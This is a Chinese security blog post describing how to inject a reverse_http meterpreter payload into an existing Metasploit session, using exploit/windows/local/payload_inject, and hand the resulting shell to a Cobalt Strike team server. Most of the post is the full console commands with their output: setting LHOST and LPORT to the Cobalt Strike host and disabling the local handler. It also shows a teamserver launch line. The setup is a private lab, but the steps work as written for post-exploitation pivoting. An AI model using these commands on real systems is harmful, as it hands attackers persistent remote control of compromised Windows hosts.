Metasploit如何派生一个shell给cobaltstrike

2016-08-16 17,678

Cobaltstrike作为一款协同APT工具,功能十分强大,针对内网的渗透测试和作为apt的控制终端功能,使其变成众多APT组织的首选,fireeye多次分析过实用cobaltstrike进行apt的案例。

cobaltstrike3新版的已经摒弃了metasploit,重写了所有的功能,但是鉴于metasploit功能的强大,cobaltstrike仍然保留了对metasploit的接口,今天我们不聊其他的,

只聊当我们使用metasploit获取到shell之后如何派生一个新的shell给cobaltstrike。系列参考我在安全脉搏上的:Cobalt strike browser pivot的应用实例

 

实验环境:

目标机器:windows server 2012  IP:192.168.81.150

metasploit机器:mac osx        IP:192.168.1.103

cobaltstrike 机器:ubuntu 15.10  IP:192.168.81.135

首先,我们通过其他的途径,使用metasploit在payload在目标机器上获取了一个meterpreter:

cobaltstrike1

进入我们获取到的meterpreter中

cobaltstrike2

由于在metasploit的一些局限性和操作的不便利性,我们需要把metasploit获取到的shell派生出来一个新的shell,转交给cobaltstrike,方便我们协同渗透

在ubuntu机器上建立一个teamserver,然后本地链接,(仅仅为了演示,实际渗透中teamserver和client分开)

user@ubuntu:/pentest/exploits/framework3/cobaltstrike$ sudo ./teamserver 192.168.81.135 fuckfuckfuck

[*] Generating X509 certificate and keystore (for SSL)

[+] Team server is up on 50050

[*] SHA1 hash of SSL cert is: d59e4862132ac9033c8f91216148bfd6d1049803

启动客户端链接,这里我们需要建立一个新的监听器:

cobaltstrike3

ok,接下来,我们开始把macos上由metasploit获取的shell派生出一个新的shell转交给cobaltstrike,这里我们需要用到一个exploit: exploit/windows/local/payload_inject

这个exploit是注入一个新的payload 到当前的session里面,我们看下具体的操作

 

exploit/windows/local/payload_injectmsf exploit(web_delivery) > use exploit/windows/local/payload_inject

msf exploit(payload_inject) > show options

 

Module options (exploit/windows/local/payload_inject):

Name        Current Setting  Required  Description

----        ---------------  --------  -----------

NEWPROCESS  false            no        New notepad.exe to inject to

PID                          no        Process Identifier to inject of process to inject payload.

SESSION                      yes       The session to run this module on.



Exploit target:

 

Id  Name

--  ----

0   Windows


 

msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http

PAYLOAD => windows/meterpreter/reverse_http

msf exploit(payload_inject) > set DisablePayloadHandler true

DisablePayloadHandler => true

msf exploit(payload_inject) > set LHOST 192.168.81.135

LHOST => 192.168.81.135

msf exploit(payload_inject) > set LPORT 8880

LPORT => 8880

msf exploit(payload_inject) > set SESSION 1

SESSION => 1

msf exploit(payload_inject) > exploit

 

[*] Running module against WIN-I6HQQE1E7AG

[*] Launching notepad.exe...

[*] Preparing 'windows/meterpreter/reverse_http' for PID 3916

msf exploit(payload_inject) >

 

这里我解释一下这些参数,

由于cobaltstrike的监听器我们使用的是:windows/beacon_http/reverse_http,所以我们的payload也要使用:

PAYLOAD windows/meterpreter/reverse_http

设置本地监听ip和端口,由于我们的监听器是cobaltstrike的,所以要用到cobaltstrike机器的ip和端口

默认情况下,payload_inject执行之后会在本地产生一个新的handler,由于我们已经有了一个,所以不需要在产生一个,这里我们设置

set DisablePayloadHandler true

设置我们的当前session,执行,看看ubuntu机器上的cobaltstrike是否已经接受了我们由metasploit派生出来的shell。

cobaltstrike4

ok,ubuntu机器192.168.81.135上cobaltstrike已经有了一个新的shell,是由Mac主机192.168.1.103派生出来的新的,转交给cobaltstrike的。

 

在渗透过程中,不要仅限于单一模式的思路,根据实际的情况,选择更优的方法来进行下一步的渗透测试。

 

【原创作者:Sh@doM   授权投稿安全脉搏  安全脉搏 分享技术 悦享品质 】

本文作者:Sh@doM

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/51077.html

Tags:
评论  (1)
快来写下你的想法吧!

Sh@doM

文章数:4 积分: 1

IT民工,伪户外驴,伪军事爱好者,创业者,milsec创始人!

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号